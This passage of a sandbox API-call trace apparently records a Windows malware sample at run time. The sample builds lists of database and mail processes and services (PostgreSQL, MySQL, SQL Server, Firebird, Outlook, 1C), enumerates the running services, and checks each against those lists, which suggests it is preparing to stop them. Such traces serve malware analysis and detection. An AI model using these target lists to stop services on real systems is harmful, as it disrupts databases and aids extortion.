dwFlags=0x0, lpMem=0x434dc0 | out: hHeap=0x420000) returned 1 [0190.569] ExitProcess (uExitCode=0x0) Thread: id = 30 os_tid = 0xdb8 Thread: id = 32 os_tid = 0xdc4 [0155.516] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4bcb68 [0155.516] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcb68, Size=0x20) returned 0x45eef0 [0155.516] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45eef0, Size=0x40) returned 0x43d998 [0155.516] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d998, Size=0x80) returned 0x476b68 [0155.516] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x476b68, Size=0x100) returned 0x4b78c0 [0155.516] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4bcbf8 [0155.516] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcbf8, Size=0x20) returned 0x45eef0 [0155.516] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45eef0, Size=0x40) returned 0x43d560 [0155.516] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d560, Size=0x80) returned 0x476838 [0155.516] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x476838, Size=0x100) returned 0x4b8310 [0155.516] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4bccb8 [0155.516] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x4bda38 [0155.516] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4bcce8 [0155.516] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bda38, Size=0x8) returned 0x4bdb88 [0155.516] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x434a20 [0155.516] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bdb88, Size=0x10) returned 0x4bcb68 [0155.516] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x18) returned 0x435180 [0155.516] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1a) returned 0x45f210 [0155.516] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcb68, Size=0x20) returned 0x45eef0 [0155.516] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c) returned 0x45f238 [0155.516] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x16) returned 0x434f40 [0155.517] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1a) returned 0x45ef40 [0155.517] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4bcd78 [0155.517] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x4bdb88 [0155.517] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x40) returned 0x43d998 [0155.517] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bdb88, Size=0x8) returned 0x4bdb18 [0155.517] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x3c) returned 0x43db90 [0155.517] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bdb18, Size=0x10) returned 0x4bcbf8 [0155.517] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x435160 [0155.517] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x18) returned 0x434ec0 [0155.517] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcbf8, Size=0x20) returned 0x45f008 [0155.517] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x24) returned 0x436168 [0155.517] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0155.517] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4b78c0 | out: hHeap=0x420000) returned 1 [0155.517] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0155.517] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4b8310 | out: hHeap=0x420000) returned 1 [0155.517] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45f080 [0155.518] EnumServicesStatusExW (in: hSCManager=0x45f080, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0155.518] GetLastError () returned 0xea [0155.518] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1ae2) returned 0x47d5d8 [0155.518] EnumServicesStatusExW (in: hSCManager=0x45f080, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x47d5d8, cbBufSize=0x1ae2, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x47d5d8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0155.519] CloseServiceHandle (hSCObject=0x45f080) returned 1 [0155.519] lstrlenW (lpString="AppXSvc") returned 7 [0155.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0155.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0155.519] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0155.519] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0155.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0155.519] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0155.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.519] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0155.520] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0155.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0155.520] lstrlenW (lpString="Audiosrv") returned 8 [0155.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0155.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0155.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0155.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0155.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0155.520] lstrlenW (lpString="BFE") returned 3 [0155.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0155.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0155.520] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0155.520] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0155.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0155.520] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0155.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0155.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0155.520] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0155.520] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0155.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0155.520] lstrlenW (lpString="CDPSvc") returned 6 [0155.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0155.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0155.520] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0155.520] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0155.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0155.520] lstrlenW (lpString="ClickToRunSvc") returned 13 [0155.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0155.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0155.520] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0155.520] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0155.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0155.520] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0155.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0155.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0155.521] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0155.521] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0155.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0155.521] lstrlenW (lpString="CryptSvc") returned 8 [0155.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0155.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0155.521] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0155.521] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0155.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0155.521] lstrlenW (lpString="DcomLaunch") returned 10 [0155.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.521] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0155.521] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0155.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0155.521] lstrlenW (lpString="DeviceAssociationService") returned 24 [0155.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0155.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0155.521] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0155.521] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0155.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0155.521] lstrlenW (lpString="Dhcp") returned 4 [0155.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0155.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0155.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0155.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0155.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0155.521] lstrlenW (lpString="Dnscache") returned 8 [0155.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0155.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0155.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0155.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0155.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0155.522] lstrlenW (lpString="DPS") returned 3 [0155.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0155.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0155.522] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0155.522] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0155.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0155.522] lstrlenW (lpString="DusmSvc") returned 7 [0155.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0155.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0155.522] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0155.522] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0155.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0155.522] lstrlenW (lpString="EventLog") returned 8 [0155.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0155.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0155.522] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0155.522] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0155.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0155.522] lstrlenW (lpString="EventSystem") returned 11 [0155.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0155.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0155.522] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0155.522] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0155.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0155.522] lstrlenW (lpString="FontCache") returned 9 [0155.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0155.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0155.522] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0155.522] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0155.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0155.523] lstrlenW (lpString="gpsvc") returned 5 [0155.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0155.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0155.523] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0155.523] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0155.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0155.523] lstrlenW (lpString="iphlpsvc") returned 8 [0155.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.523] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0155.523] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0155.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0155.523] lstrlenW (lpString="KeyIso") returned 6 [0155.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0155.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0155.523] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0155.523] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0155.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0155.523] lstrlenW (lpString="LanmanServer") returned 12 [0155.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0155.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0155.523] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0155.523] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0155.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0155.523] lstrlenW (lpString="LanmanWorkstation") returned 17 [0155.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.523] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0155.523] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0155.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0155.523] lstrlenW (lpString="lfsvc") returned 5 [0155.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0155.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0155.524] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0155.524] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0155.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0155.524] lstrlenW (lpString="lmhosts") returned 7 [0155.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0155.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0155.524] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0155.524] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0155.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0155.524] lstrlenW (lpString="LSM") returned 3 [0155.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0155.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0155.524] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0155.524] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0155.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0155.524] lstrlenW (lpString="MpsSvc") returned 6 [0155.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0155.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0155.524] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0155.524] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0155.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0155.524] lstrlenW (lpString="NcbService") returned 10 [0155.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0155.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0155.524] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0155.524] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0155.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0155.524] lstrlenW (lpString="netprofm") returned 8 [0155.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0155.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0155.525] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0155.525] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0155.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0155.525] lstrlenW (lpString="NgcSvc") returned 6 [0155.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0155.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0155.525] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0155.525] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0155.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0155.525] lstrlenW (lpString="NlaSvc") returned 6 [0155.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0155.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0155.525] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0155.525] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0155.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0155.525] lstrlenW (lpString="nsi") returned 3 [0155.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0155.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0155.525] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0155.525] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0155.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0155.525] lstrlenW (lpString="PcaSvc") returned 6 [0155.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0155.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0155.525] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0155.525] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0155.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0155.525] lstrlenW (lpString="PlugPlay") returned 8 [0155.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0155.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0155.526] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0155.526] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0155.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0155.526] lstrlenW (lpString="Power") returned 5 [0155.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0155.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0155.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0155.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0155.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0155.526] lstrlenW (lpString="ProfSvc") returned 7 [0155.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0155.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0155.526] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0155.526] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0155.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0155.526] lstrlenW (lpString="RpcEptMapper") returned 12 [0155.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.592] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0155.592] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0155.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0155.592] lstrlenW (lpString="RpcSs") returned 5 [0155.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0155.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0155.592] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0155.592] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0155.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0155.592] lstrlenW (lpString="SamSs") returned 5 [0155.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0155.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0155.592] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0155.593] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0155.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0155.593] lstrlenW (lpString="Schedule") returned 8 [0155.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0155.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0155.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0155.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0155.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0155.593] lstrlenW (lpString="SecurityHealthService") returned 21 [0155.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0155.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0155.593] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0155.593] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0155.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0155.593] lstrlenW (lpString="SENS") returned 4 [0155.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0155.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0155.593] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0155.593] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0155.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0155.593] lstrlenW (lpString="ShellHWDetection") returned 16 [0155.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.593] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0155.593] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0155.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0155.593] lstrlenW (lpString="Spooler") returned 7 [0155.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0155.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0155.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0155.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0155.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0155.593] lstrlenW (lpString="StateRepository") returned 15 [0155.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0155.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0155.594] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0155.594] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0155.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0155.594] lstrlenW (lpString="SysMain") returned 7 [0155.594] lstrcmpiW 